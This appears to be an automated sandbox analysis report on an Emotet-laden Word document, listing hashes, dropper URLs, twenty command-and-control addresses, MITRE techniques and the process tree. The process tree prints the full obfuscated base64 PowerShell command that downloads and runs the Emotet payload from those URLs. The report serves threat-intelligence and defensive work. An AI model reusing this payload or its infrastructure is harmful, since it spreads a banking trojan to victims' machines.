emotet | bd5cbc8583305658dc0266f8fbfced9e57e41d459fb3120bff3df95fcacccba9

General

Target

emotet_e1_bd5cbc8583305658dc0266f8fbfced9e57e41d459fb3120bff3df95fcacccba9_2020-07-28__222610._doc.doc
Size

170KB
MD5

ddbb140f4b29ab0e415b312c8824e7ff
SHA1

03509a17c34d900e9d4ebaf218b50e1a50a0de67
SHA256

bd5cbc8583305658dc0266f8fbfced9e57e41d459fb3120bff3df95fcacccba9
SHA512

eabdb62f0e17f7d719c78ce9e2b2de49429ba15abae30349bee924067322d06136872a27f508ba81766e20e5714245819206f9d310285652ab421c86e3a5a99a

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://arizonaonsale.com/cgi-bin/VuM64/

exe.dropper

https://www.compednet.com/wp-content/Nv55027/

exe.dropper

http://eltallerartistico.com/language/Uybj0/

exe.dropper

http://classicpaint.net/wp-content/tVS1/

exe.dropper

http://closhlab.com/OWN/lUvYIzLMa/

Extracted

Family

emotet

C2

179.60.229.168:443

185.94.252.13:443

189.218.165.63:80

77.90.136.129:8080

217.199.160.224:7080

104.131.41.185:8080

2.47.112.152:80

185.94.252.27:443

186.250.52.226:8080

51.255.165.160:8080

68.183.170.114:8080

191.99.160.58:80

104.131.103.37:8080

181.31.211.181:80

202.62.39.111:80

83.169.21.32:7080

87.106.46.107:8080

72.47.248.48:7080

177.75.143.112:443

190.17.195.202:80

rsa_pubkey.plain

Signatures

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Drops file in System32 directory 1 IoCs

Processes:

45.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\mdmlocalmanagement\MrmCoreR.exe 45.exe
Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\mdmlocalmanagement\MrmCoreR.exe	45.exe

Suspicious use of SetWindowsHookEx 15 IoCs

Processes:

WINWORD.EXE45.exeMrmCoreR.exe

pid	process
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
2488	45.exe
2488	45.exe
1632	MrmCoreR.exe
1632	MrmCoreR.exe

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powersheLL.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3064 792 powersheLL.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powersheLL.exe

description pid process

Token: SeDebugPrivilege 3064 powersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3064	792	powersheLL.exe

description	pid	process
Token: SeDebugPrivilege	3064	powersheLL.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

45.exe

description	pid	process	target process
PID 2488 wrote to memory of 1632	2488	45.exe	MrmCoreR.exe
PID 2488 wrote to memory of 1632	2488	45.exe	MrmCoreR.exe
PID 2488 wrote to memory of 1632	2488	45.exe	MrmCoreR.exe

Emotet Payload 2 IoCs

Detects Emotet payload in memory.

Processes:

resource	yara_rule
behavioral2/memory/2488-9-0x0000000002300000-0x000000000230C000-memory.dmp	emotet
behavioral2/memory/1632-12-0x0000000000690000-0x000000000069C000-memory.dmp	emotet

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

424 WINWORD.EXE
424 WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powersheLL.exeMrmCoreR.exe

pid	process
3064	powersheLL.exe
3064	powersheLL.exe
3064	powersheLL.exe
1632	MrmCoreR.exe
1632	MrmCoreR.exe
1632	MrmCoreR.exe
1632	MrmCoreR.exe
1632	MrmCoreR.exe
1632	MrmCoreR.exe

Blacklisted process makes network request 1 IoCs

Processes:

powersheLL.exe

flow pid process

22 3064 powersheLL.exe
Executes dropped EXE 2 IoCs

Processes:

45.exeMrmCoreR.exe

pid process

2488 45.exe
1632 MrmCoreR.exe

flow	pid	process
22	3064	powersheLL.exe

pid	process
2488	45.exe
1632	MrmCoreR.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_bd5cbc8583305658dc0266f8fbfced9e57e41d459fb3120bff3df95fcacccba9_2020-07-28__222610._doc.doc" /o ""
1⤵
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Checks processor information in registry
- Suspicious behavior: AddClipboardFormatListener
PID:424

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABOAEIATQBYAEkAagBtAGIAPQAnAEgAQwBGAEIAWQBrAGsAdAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYABjAFUAUgBJAHQAeQBgAHAAYABSAG8AVABvAEMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQASQBXAEMATQBMAHUAaABoACAAPQAgACcANAA1ACcAOwAkAEYATwBMAFcASgBzAGUAbwA9ACcAUABJAEoASABTAG0AdQBuACcAOwAkAFAATwBSAFcASgBwAHgAagA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQASQBXAEMATQBMAHUAaABoACsAJwAuAGUAeABlACcAOwAkAFMARwBIAEoASABjAHEAZwA9ACcARwBZAFIAQgBSAHQAaABjACcAOwAkAFIARgBFAEYAWQBjAGkAcAA9AC4AKAAnAG4AZQB3AC0AbwBiACcAKwAnAGoAJwArACcAZQBjACcAKwAnAHQAJwApACAATgBFAHQALgBXAGUAYgBjAGwASQBlAG4AdAA7ACQAQgBYAEEAVQBTAGUAbgBsAD0AJwBoAHQAdABwADoALwAvAGEAcgBpAHoAbwBuAGEAbwBuAHMAYQBsAGUALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBWAHUATQA2ADQALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGMAbwBtAHAAZQBkAG4AZQB0AC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ATgB2ADUANQAwADIANwAvACoAaAB0AHQAcAA6AC8ALwBlAGwAdABhAGwAbABlAHIAYQByAHQAaQBzAHQAaQBjAG8ALgBjAG8AbQAvAGwAYQBuAGcAdQBhAGcAZQAvAFUAeQBiAGoAMAAvACoAaAB0AHQAcAA6AC8ALwBjAGwAYQBzAHMAaQBjAHAAYQBpAG4AdAAuAG4AZQB0AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHQAVgBTADEALwAqAGgAdAB0AHAAOgAvAC8AYwBsAG8AcwBoAGwAYQBiAC4AYwBvAG0ALwBPAFcATgAvAGwAVQB2AFkASQB6AEwATQBhAC8AJwAuACIAUwBgAHAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABDAEUARABFAEQAdgBvAG0APQAnAFgAVgBOAE8ARAB4AGUAYgAnADsAZgBvAHIAZQBhAGMAaAAoACQAQgBUAEUATwBaAGMAaABvACAAaQBuACAAJABCAFgAQQBVAFMAZQBuAGwAKQB7AHQAcgB5AHsAJABSAEYARQBGAFkAYwBpAHAALgAiAGQATwBXAE4AYABsAG8AYABBAGAAZABmAGkATABFACIAKAAkAEIAVABFAE8AWgBjAGgAbwAsACAAJABQAE8AUgBXAEoAcAB4AGoAKQA7ACQAVABWAEcASQBHAGQAbQB5AD0AJwBGAE4AUQBRAFoAcABsAHIAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABQAE8AUgBXAEoAcAB4AGoAKQAuACIATABlAG4AYABnAFQAaAAiACAALQBnAGUAIAAyADYANAA5ADUAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAYABSAEUAQQB0AGUAIgAoACQAUABPAFIAVwBKAHAAeABqACkAOwAkAE4ARABNAFYAVgB5AHMAawA9ACcAUwBVAFUAWABRAHoAbwBnACcAOwBiAHIAZQBhAGsAOwAkAFQAWQBaAFIARgBlAGoAegA9ACcASABWAFgARABMAG8AYwBuACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEcAQQBMAEsATgBzAHUAZwA9ACcATABQAFoAUQBMAGoAcAB5ACcA
1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:3064

C:\Users\Admin\45.exe
C:\Users\Admin\45.exe
1⤵
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
PID:2488

C:\Windows\SysWOW64\mdmlocalmanagement\MrmCoreR.exe
"C:\Windows\SysWOW64\mdmlocalmanagement\MrmCoreR.exe"
2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
PID:1632

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\45.exe

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C:\Users\Admin\45.exe

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C:\Windows\SysWOW64\mdmlocalmanagement\MrmCoreR.exe

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memory/424-4-0x0000028224AAD000-0x0000028224B17000-memory.dmp

Filesize
424KB

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memory/1632-10-0x0000000000000000-mapping.dmp

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memory/1632-12-0x0000000000690000-0x000000000069C000-memory.dmp

Filesize
48KB

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memory/2488-9-0x0000000002300000-0x000000000230C000-memory.dmp

Filesize
48KB

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads